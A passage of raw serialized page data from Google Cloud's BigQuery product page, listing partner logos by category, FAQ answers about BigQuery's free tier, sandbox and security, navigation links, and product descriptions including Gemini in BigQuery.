integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/NWxTk2tC6qgI3EfG2q5M1IS9HEQVY3Z5o7vFCrvDKTIFelGFs4nyPDW8EIcuXiKLnRcZFHe8I820"],null,null,true,null,null,null,null,[null,"zing logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/dbeaver"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/dbeaver"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/mGcVTg4wSMGAOYLMq-RoIbikPn6JsJY4ihc6UkxKX3k--95UXB-dGXDtgIR2LbEyk7uuda6puhgU"],null,null,true,null,null,null,null,[null,"dbeaver logo"]]]],[null,[[null,[[null,null,"https://calibrate-analytics.com/launchpad/integrations/bigquery/"],{"10000":[[["track-metadata-eventdetail","calibrate-analytics.com/launchpad/integrations/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/jXbEfGQDtbrTw-SOtOC9rM5oUE3ujfLnkIw8mX39jrdgw40rR15nRPQHFtzD_rJrO8CiAPOxgctj4A"],null,null,true,null,null,null,null,[null,"calibrate analytics"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/boostkpi-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/boostkpi-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/maCzC-id49DKFqvjo6ODkPc4l4EK0pfNueyuiz4CbQXWw2UAAZBmLEsoDrsso7Nglne_uRYFqaw"],null,null,true,null,null,null,null,[null,"boostKPI"]]]]],[],null,"bi-and-data-visualization"],[[[null,[null,"Data governance and security"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/CoI3_Gtkbna2lD5JcvCLHC404GLcug_Yn3YCC9SrRckyp2J79079B7SFE_TEscBDAmPr1Dl8h2WS-w"],null,null,true,null,null,null,null,[null,"Alation logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/kpmrXMUX9bWmGzMzf7RIl7D6YVHkdQoBRxr0v68GOzlT-HArLhoBRss8Xb8q-TNEx6V8MMBwi-8"],null,null,true,null,null,null,null,[null,"Collibra logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/8OsnTWFU0cQYx8mqSORdSJzvAY_nru39YF_EDdQyouXfNNVaPy3wNCk-jI9PE-lOufDa-4db3ZprsQ"],null,null,true,null,null,null,null,[null,"Privacera logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/7R0y05oi-5rpH_wPrFTTOWXTRs7AXTgRyyEb6MkVpGPyukMApmeqcCiclwF48r7MWdfJe0yepzSTvw"],null,null,true,null,null,null,null,[null,"Immuta logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/secupi"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/secupi"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/h-3MAzgButeRBNYV2WIBw00hCBwapW_YhgKateONyUlceo1bKxHhAbc2NK_FDtPtEKBbtgRxL5Y"],null,null,true,null,null,null,null,[null,"secuPi logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/vaultree"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/vaultree"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/uUEWRhazMIabzbAITGlyjDyadcSj14ZjGIvE1nFxlGNyoJruR7ysWKQUOS_DTbqJa-kiAAgX1PJt"],null,null,true,null,null,null,null,[null,"vaultree logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/secoda"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/secoda"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/QkF8dna4sJHDg9SPbGkB-pD7T16vCV9b4iXKKGni9UPXG4v9zIbeDL3_fmrt4GjVLcfto3IFM2FJ"],null,null,true,null,null,null,null,[null,"secoda logo"]]]]],[],null,"data-governance-and-security"],[[[null,[null,"Connectors and developer tools"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/lfuG5nnyUKHshVfJDvamLMwi25g59XekJ9WpH2VYavwFsVEzrYdXrJ3gfHXcSB4A4PvvZ2COcCjw"],null,null,true,null,null,null,null,[null,"cdata logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/KfUCcBVgmg7E8j2V1yiMTKUg5wmi5Kviw3zsjAktOv4ARlrw0eh2SDU_GY36kjgVG6fp81YW7VyM"],null,null,true,null,null,null,null,[null,"Simba by Magnitude logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/RVJS_Lv59X4UXJbPV0QvaqzoPhjwOGXrlDN7Wl3iSHZZdXjqpv1Rbrurx0l-bP6--GkC3NsFi8Lf"],null,null,true,null,null,null,null,[null,"Progress logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/v4euksWoYxAOt6GV5CgkuEWXVlDR_d6nSbiWzem7XQsgAgdavcC5MuO-9i4fX2SZSbG9WFZrfk-z"],null,null,true,null,null,null,null,[null,"KingswaySoft logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/Z485P2hIBIEpifJUskFiP2uFRaUuODBLF8_DEarhKm6-96U18GH8s1HuZhFg8mB4R8L5-8C9kID3"],null,null,true,null,null,null,null,[null,"ZappySys logo"]]]]],[],null,"connectors-and-developer-tools"],[[[null,[null,"Machine learning and advanced analytics"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/Ue9a7ZsJDKQAmfcqClfwh7INVkv-WZCv4MegyC8JAG7Yx5Eeh6A4S0Or0B2DnlEm4SiJDso1m_Qx0w"],null,null,true,null,null,null,null,[null,"DataRobot logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/p1AcIg2Oazf7Ry9D5Env5mOqwMn6hUacRMD-vFE9xkv7XBBjxWoN9imqPZ5PgBNy0ERwM4We_8hC"],null,null,true,null,null,null,null,[null,"dataiku logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/QseqCRn9AJl0A0xbOR_c1jGn63sN6Ivq5-UgUC71LwSTQ1Yhid56D_l7yH7GKYItZneFH7bNh6bD"],null,null,true,null,null,null,null,[null,"Databricks logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/j-kwHTmbtFYSpui5AL19H4CDf94x2pHPagSs2yru6CAzie87rdrKrFiZKwc5Rp4fB7mSw7muQidQdQ"],null,null,true,null,null,null,null,[null,"Starburst logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/JrJnnpsF7p9HwMIrf94D9QM9RnBhkesLtc-EFXZWWn0hTbqz7O2HO0gP0FTgysVkxtDqXElcTrSX"],null,null,true,null,null,null,null,[null,"Hex logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/snowplow-analytics"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/snowplow-analytics"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/ntLc0VTVsPo3qAikn_UgRsuORtEPMbOZ1icoQRhSp9rGBf4vGHY-aEpztycJfk6A36YDVCU4769q"],null,null,true,null,null,null,null,[null,"snowplow logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/neo4j"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/neo4j"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/wrb46o6Z6H2wjQMTvekmAbgwv4X3bSE2J3jGGwwKdwXE-Wi8G4k1VikCjIP-yE09lDV0f41cFc5M"],null,null,true,null,null,null,null,[null,"Neo4J logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/flywheel-technologies"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/flywheel-technologies"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/fwvceELRBS4eul-f39ggPM6-stvz5rkPXbaKbsRo5uiRYh4Nrx7Ky2F6-w1qBb9WvPOSBhyIEGI"],null,null,true,null,null,null,null,[null,"GrowthLoop logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/netspring"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/netspring"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/4S8SMHWCcsJQA3uOniLkpf_tTfNqrEwx1zzZ0vboefmRRWnfYLOUQdU71HTqllHn4PkIZOaw53_16A"],null,null,true,null,null,null,null,[null,"Netspring logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/windsor-ai"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/windsor-ai"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/QhQEEvjIWWxxmlp3u2QWgmnCcxbK5st5BEPpJgL7p3OSY3Tled5FoUpVJ30AsMsfkeaF87u9MT0W"],null,null,true,null,null,null,null,[null,"windsor.ai logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/lytics"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/lytics"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/qhpCU_RSHgfSPx5l6HzxBhv9l0Qxaza03QzM9jHdXR48112atwfBJrlE6kd_HhiL0Qt2h_GZkPExMg"],null,null,true,null,null,null,null,[null,"Lytics logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/deepnote-inc"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/deepnote-inc"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/W6jpEH90X81BrNs5PBipXmSM7ehCBVkcDLYHvO5lgHfzic_-6mvJgBImL-zHMY3zKnmoYBYPYedEfQ"],null,null,true,null,null,null,null,[null,"Deepnote logo"]]]],[null,[[null,[[null,null,"https://www.docs.developers.amplitude.com/data/sources/bigquery/"],{"10000":[[["track-metadata-eventdetail","www.docs.developers.amplitude.com/data/sources/bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/BbufJMRy_-zAOOowlgznhmCYPbVdzjr4sIuXgOdmucoq6Ued6PzurasOUnDLm0MyEGxeZp7-pVQ"],null,null,true,null,null,null,null,[null,"Amplitude logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/actable"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/actable"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/ahXNRivpLgoRYXEKrk_tpcVyKw5gSCRkCuOWem4siBSqlMvxZgAw0uXTG0VtcJQaowiuRjtTWsc3"],null,null,true,null,null,null,null,[null,"Actable logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/tecton"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/tecton"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/dv7PTiDcFS8Drh7H2zV7ybAJre4rMCPa9ejfGXFUIsG2PIs_Cy7_zMbVyDwuucAfnS2_VXPkv5r1"],null,null,true,null,null,null,null,[null,"Tecton logo"]]]],[null,[[null,[[null,null,"https://www.dinmo.com/integrations/google-bigquery/"],{"10000":[[["track-metadata-eventdetail","www.dinmo.com/integrations/google-bigquery"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/e0fdzXwwiJJvl7JFtQ2PKksNiDa4ZyDdcx_PFlftOxz18T7mAqHelgKP12JKs-woXxENCzBB06GETA"],null,null,true,null,null,null,null,[null,"DinMo logo"]]]]],[],null,"machine-learning-and-advanced-analytics"],[[[null,[null,"Data quality and observability"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/6Hl4GZvB73KdHQIHMPzavcvdwU65Z91vVuf5W5r37MA_rZP0IqteXZkTILaL7dlQQ6EcmdIVkgLY"],null,null,true,null,null,null,null,[null,"New Relic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/jzkIiJsmw6qvGNidpcp-CZLJ8tf5Xralk8ait-eT9tllowds0QZ1D2n0QCdbB99zuu2L3erzj99XQQ"],null,null,true,null,null,null,null,[null,"dynatrace logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/ibcPI-AFnpbC4jHg3kTZcfgExfL19ra_6eum40C6OeuWskAA8Dwop5clRna5pUxdR1FjUFtMcBOr"],null,null,true,null,null,null,null,[null,"datadog logo"]]]],[null,[null,[[null,null,"https://www.gstatic.com/bricks/image/7d6df0faddea4927e72520cee2332bea13e94cacafd9bc001501b5ac613ab9ff.svg"],null,null,null,null,null,null,null,[null,"Anomalo logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/hubvnmGYcfqSrXRtZJJEdXUTRATVavAqmeYRYLEQPa1qUmyQ940kidoTNWIPdA-47thLKeuQi19Jog"],null,null,true,null,null,null,null,[null,"Monte Carlo logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/masthead-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/masthead-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/OarCQ5TwpevhfEh5YVpRSjDt56s7qHlBxHFa6H75OfOgSoSSWfHur1Gqn18lBHz7RYu44pkJM2a_Kw"],null,null,true,null,null,null,null,[null,"Soda log"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/masthead-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/masthead-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/FLo6Q99ULGOpbW9z2qrUJkD1ji1lfE5lzdFEnCTsA6I427lbWP-K_45UusFWan2oubbXsrBjTsyKUQ"],null,null,true,null,null,null,null,[null,"Masthead logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/aliz-tech-kft"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/aliz-tech-kft"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/XdReO-bANvyf2sbpYfmefZX8xlF0ROqc4YvzF9Bbs0qOlXX2Of6wg2EL2j1LMzVlkuANr0tMiJEgBA"],null,null,true,null,null,null,null,[null,"Rabbit logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/unravel-data"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/unravel-data"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/U8WxfXbenW3hgZ3PqNaXGj1Y87EfCS1OUcbkJ6UNyJ-dsWDZXRlTyuFftPQDBlw35PpKRxfSZtPE"],null,null,true,null,null,null,null,[null,"unravel logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/validio"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/validio"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/f4a1m12xQ-hCrR3fyDLuOCLLQ2H28FIjrmFiZZH9OZmScpbROEoLAhGGreFt4cksZCZO458ZC_pk"],null,null,true,null,null,null,null,[null,"Validio logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/agiledata-io"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/agiledata-io"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/o5ZckmWTJKv9THKYg_ldhjDij05KU1hXPxwBMGge2JEspaEyfLNmWmirGRu4TiLKTLyGpLuRANBYMA"],null,null,true,null,null,null,null,[null,"Agiledata.io logo"]]]],[null,[[null,[[null,null,"https://cloud.google.com/find-a-partner/partner/decube"],null,15,{"10000":[[["track-metadata-eventdetail","cloud.google.com/find-a-partner/partner/decube"],["track-metadata-module","partners and integration"]]]}]],[[null,null,"https://lh3.googleusercontent.com/0fp-fdRamH3xc4cRcxbG86zFjigpfYSjzkUtGTKVIdK5Y-7Q3vniuJujdVRh3w5TBPR_hLlnmKfW"],null,null,true,null,null,null,null,[null,"Decube logo"]]]]],[],null,"data-quality-and-observability"],[[[null,[null,"Consulting partners"]]],[[null,[null,[[null,null,"https://lh3.googleusercontent.com/ircOodCNbPGYZk8p6ty3ndK7zZgfuf4jU5R39TPwPnFfRKhXJcIF_Fqtlv3FqxS6wLgIvEaWXcdO"],null,null,true,null,null,null,null,[null,"capgemini logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/LZKdBHhld6KjMBg2FQuos7CzVrevk1N4vodDD_J_FWtbPvrcz9qJFo_M02QDS0gmqkdea_owib7O"],null,null,true,null,null,null,null,[null,"ctp logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/yK-z-l0tamHHn3zwefkf7ryAgAyXUMPcDWrB5JdaNkG1t740TAn7cLBeI19bEcElYQLpwCvchQWLMg"],null,null,true,null,null,null,null,[null,"Myers-Holum logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/X3G1yGqYCqsJzy_sy9cSlJrxqlhNIyBkK6IMotSj_XDzPjwcRLPt8iEi0w3qHAjbKRGk3kENBoKH4g"],null,null,true,null,null,null,null,[null,"pythian logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/rPf9g0SdutOFV5b4xUw6yh87sHyfAXEtv5xzeU_KpypziG2Dh0y-RkDYq-esLZBUbk91fK8fTjdlZg"],null,null,true,null,null,null,null,[null,"quantiphi logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/sUZubjCY1-B6znPmA4lwEuDh-ympRXZkvfFOWGoBKBkrxXvtujBYUzUhNW0ZfB2fAMGXtRbzGuk"],null,null,true,null,null,null,null,[null,"sada logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/afcERhao3M_moUaWshVnH8FNLkK2P8o4o8LxYoqT32xU0nK6p1UTVxK5cPU6VG1K_7EsNsdXnq87"],null,null,true,null,null,null,null,[null,"tectonic logo"]]]],[null,[null,[[null,null,"https://lh3.googleusercontent.com/D0byHS0KhMoQPguOLp40QPOS319UliP5w6_uIgC_ZUewHfPsv7xEhBlsc_7OBTO71JuTo9GIhrkcdQ"],null,null,true,null,null,null,null,[null,"Trace3"]]]]],[],null,"consulting-partners"]],null,"work-with-a-partner-with-bigquery-expertise"],{"10000":[[["track-metadata-module","partners and integration"]],191763],"10002":"work-with-a-partner-with-bigquery-expertise"}],[83,[[[null,[null,"Other inquiries and support"]],[[null,null,"https://cloud.google.com/billing/docs"],"Billing and troubleshooting",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/billing/docs"],["track-metadata-module","product v3 faq"],["track-metadata-module_headline","other inquiries and support"],["track-name","billing and troubleshooting"]],192553]}],[[null,null,"https://www.googlecloudcommunity.com/gc/Data-Analytics/bd-p/cloud-data-analytics"],"Ask the community",{"10000":[[["track-metadata-eventdetail","www.googlecloudcommunity.com/gc/data-analytics/bd-p/cloud-data-analytics"],["track-metadata-module","product v3 faq"],["track-metadata-module_headline","other inquiries and support"],["track-name","ask the community"]]]}]],[[[null,[null,"What makes BigQuery different from other enterprise data warehouse alternatives?"],[null,"\u003cp\u003eBigQuery is Google Cloud’s fully managed and completely serverless enterprise data warehouse. BigQuery supports all data types, works across clouds, and has built-in machine learning and business intelligence, all within a unified platform. \u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"What is an enterprise data warehouse?"],[null,"\u003cp\u003eAn enterprise data warehouse is a system used for the analysis and reporting of structured and semi-structured data from multiple sources. Many organizations are moving from traditional data warehouses that are on-premises to cloud data warehouses, which provide more cost savings, scalability, and flexibility.\u003c/p\u003e"]]],[[null,[null,"How secure is BigQuery?"],[null,"\u003cp\u003eBigQuery offers robust security, governance, and reliability controls that offer high availability and a 99.99% uptime SLA. Your data is protected with encryption by default and customer-managed encryption keys.\u003c/p\u003e"]]],[[null,[null,"How can I get started with BigQuery?"],[null,"\u003cp\u003eThere are a few ways to get started with BigQuery. New customers get $300 in free credits to spend on BigQuery. All customers get 10 GB storage and up to 1 TB queries free per month, not charged against their credits. You can get these credits by signing up for the BigQuery free trial. Not ready yet? You can use the \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/sandbox\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery sandbox\u003c/a\u003e without a credit card to see how it works. \u003c/p\u003e"]]],[[null,[null,"What is the BigQuery sandbox?"],[null,"\u003cp\u003eThe \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/sandbox\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery sandbox\u003c/a\u003e lets you try out BigQuery without a credit card. You stay within BigQuery’s free tier automatically, and you can use the sandbox to run queries and analysis on public datasets to see how it works. You can also bring your own data into the BigQuery sandbox for analysis. There is an option to upgrade to the free trial where new customers get a $300 credit to try BigQuery.\u003c/p\u003e\u003cp\u003e\u003cbr /\u003e\u003c/p\u003e"]]],[[null,[null,"What are the most common ways companies use BigQuery?"],[null,"\u003cp\u003eCompanies of all sizes use BigQuery to consolidate siloed data into one location so you can perform data analysis and get insights from all of your business data. This allows companies to make decisions in real time, streamline business reporting, and incorporate machine learning into data analysis to predict future business opportunities.\u003c/p\u003e"]]]]],{"10000":[[["track-metadata-module","product v3 faq"]],191772],"10002":"other-inquiries-and-support"}]],null,[null,[[[[null,"Release Notes"]],[[null,null,"https://cloud.google.com/bigquery/docs/release-notes"],"Release notes",6,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/release-notes"],["track-metadata-module","in page navigation"],["track-name","release notes"]],192553]}]],[[[null,"Documentation"]],[[null,null,"https://cloud.google.com/bigquery/docs"],"Documentation",6,{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs"],["track-metadata-module","in page navigation"],["track-name","documentation"]],192553]}]],[[[null,"Training"]],[[null,null,"https://www.cloudskillsboost.google/catalog?keywords\u003dBigQuery\u0026locale\u003d\u0026solution%5B%5D\u003dany\u0026role%5B%5D\u003dany\u0026skill-badge%5B%5D\u003dany\u0026format%5B%5D\u003dany\u0026level%5B%5D\u003dany\u0026duration%5B%5D\u003dany\u0026language%5B%5D\u003dany"],"Training",11,{"10000":[[["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.cloudskillsboost.google/catalog"],["track-metadata-module","in page navigation"],["track-name","training"]],192558]}]],[[[null,"Architecture Center"]],[[null,null,"https://cloud.google.com/architecture?category\u003dbigdataandanalytics"],"Architecture center",{"10000":[[["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/architecture"],["track-metadata-module","in page navigation"],["track-name","architecture center"]]]}]]]],null,true,{"10000":[null,191573]}]]]]]]]]],["variantC",["variantC",[97716269,97716270],["/bigquery"],null,[["/bigquery",[[["fte",[[31,["mFzK5zoqCQr9","en","BigQuery enterprise data warehouse","BigQuery is a serverless, cost-effective, and multicloud data warehouse designed to help you turn big data into valuable business insights. Start free.","PAGE_TEMPLATE_TYPE_PRODUCT_V3","/bigquery",null,null,1,1],[[76,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[[[null,"BigQuery"],[null,"From data warehouse to a unified, AI-ready data platform"],[null,"\u003cp\u003eBigQuery is a fully managed, AI-ready data analytics platform that helps you maximize value from your data and is designed to be multi-engine, multi-format, and multi-cloud.\u003c/p\u003e\u003cp\u003eStore 10 GiB of data and run up to 1 TiB of queries for free per month. \u003cb\u003eNew customers also get $300 in free credits\u003c/b\u003e to try BigQuery and other Google Cloud products.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/bigquery"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 hero"],["track-metadata-module_headline","from data warehouse to a unified, ai-ready data platform"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","product v3 hero"],["track-metadata-module_headline","from data warehouse to a unified, ai-ready data platform"],["track-name","contact sales"]],192550]}]],[[null,null,"https://www.gstatic.com/bricks/image/702bc723dcfcddf8942bb459be20163106a5f64ed91404df38c73ca955f96260.svg"],null,null,null,null,null,null,null,[null,"Magnifying glass icon"]]],[[null,[null,"Product highlights"]],null,null,[[null,[null,"Unified data platform to connect all your data and activate with AI"],[[null,null,"#features"],"Unified data platform to connect all your data and activate with AI",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","unified data platform to connect all your data and activate with ai"]]]}]],[null,[null,"Built-in machine learning to create and run models using simple SQL"],[[null,null,"#features"],"Built-in machine learning to create and run models using simple SQL",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","built-in machine learning to create and run models using simple sql"]]]}]],[null,[null,"Real-time analytics with streaming and built-in BI"],[[null,null,"#features"],"Real-time analytics with streaming and built-in BI",{"10000":[[["track-metadata-module","product v3 hero"],["track-name","real-time analytics with streaming and built-in bi"]]]}]]]],[[null,[[null,null,"https://gobig.cloud/?utm_source\u003dinitial\u0026utm_medium\u003dcgcweb\u0026utm_campaign\u003dgobig"],"Sign up for our no-cost discovery workshop",{"10000":[[["track-metadata-eventdetail","gobig.cloud"],["track-metadata-module","product v3 hero"],["track-name","sign up for our no-cost discovery workshop"]]]}]],[[null,null,"https://www.gstatic.com/bricks/image/d1a2346b57ea1c97bc4f8f01f289616f45c33d66bcd5b1372252fce3533cae4a.svg"],null,null,null,null,null,null,null,[null,"bigquery logo"]]],[[null,null,[null,"\u003cp\u003eGoogle is named a leader in The Forrester Wave™: Data Lakehouses Q2 2024 report.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/resources/forrester-data-lakehouse-wave-analyst-report"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/resources/forrester-data-lakehouse-wave-analyst-report"],["track-metadata-module","product v3 hero"],["track-name","\u003cp\u003egoogle is named a leader in the forrester wave™: data lakehouses q2 2024 report.\u003c/p\u003e"]]]}]]],{"10000":[[["track-metadata-module","product v3 hero"]],191766],"10002":"from-data-warehouse-to-a-unified-ai-ready-data-platform"}],[77,null,null,null,null,null,null,null,null,null,null,null,[null,[[[[null,[null,"Power your data agents with Gemini in BigQuery"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-gemini-in-bigquery-at-next24\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini in BigQuery\u003c/a\u003e provides AI-powered assistive and collaboration features, including \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/write-sql-duet-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ecode assist\u003c/a\u003e, visual data preparation, and intelligent recommendations that help enhance productivity and optimize costs. BigQuery provides a \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/announcing-bigquery-studio?e\u003d48754805\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003esingle, unified workspace\u003c/a\u003e that includes a SQL, a \u003ca href\u003d\"https://cloud.google.com/colab/docs/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003enotebook\u003c/a\u003e, and a NL-based \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/data-canvas\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ecanvas interface\u003c/a\u003e for data practitioners of various coding skills to simplify analytics workflows from data ingestion and preparation to data exploration and visualization to ML model creation and use.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Learn how to build data agents with Gemini in BigQuery"]],[[null,null,"https://youtu.be/9WE1rltc4ec"],null,12,{"10000":[[["track-metadata-eventdetail","youtu.be/9we1rltc4ec"],["track-metadata-module","product v3 features"],["track-metadata-video-id","9we1rltc4ec"],["track-name","learn how to build data agents with gemini in bigquery"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/CAD-iNr-6vfpGVOI2E2yZxVlAD-fpxWZVb0Hch3kvo7EerasZScWFB8uLwA1My4q4cXF5FD3BgqiXw"],null,null,true,null,null,null,null,[null,"Gemini in BigQuery"]],[null,null,"https://youtu.be/9WE1rltc4ec"],[222]]]]],null,"power-your-data-agents-with-gemini-in-bigquery"],[[[null,[null,"Bring multiple engines to a single copy of data"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/solutions/spark\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eServerless Apache Spark\u003c/a\u003e is available directly in BigQuery. You can write and execute Spark in BigQuery Studio without exporting data or managing infrastructure. BigQuery metastore provides shared runtime metadata for SQL and open source engines for a unified set of security and governance controls across all engines and storage types. By bringing multiple engines, including SQL, Spark, and Python, to a single copy of data and metadata, you can break down data silos and increase efficiency.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"What's New with BigQuery at 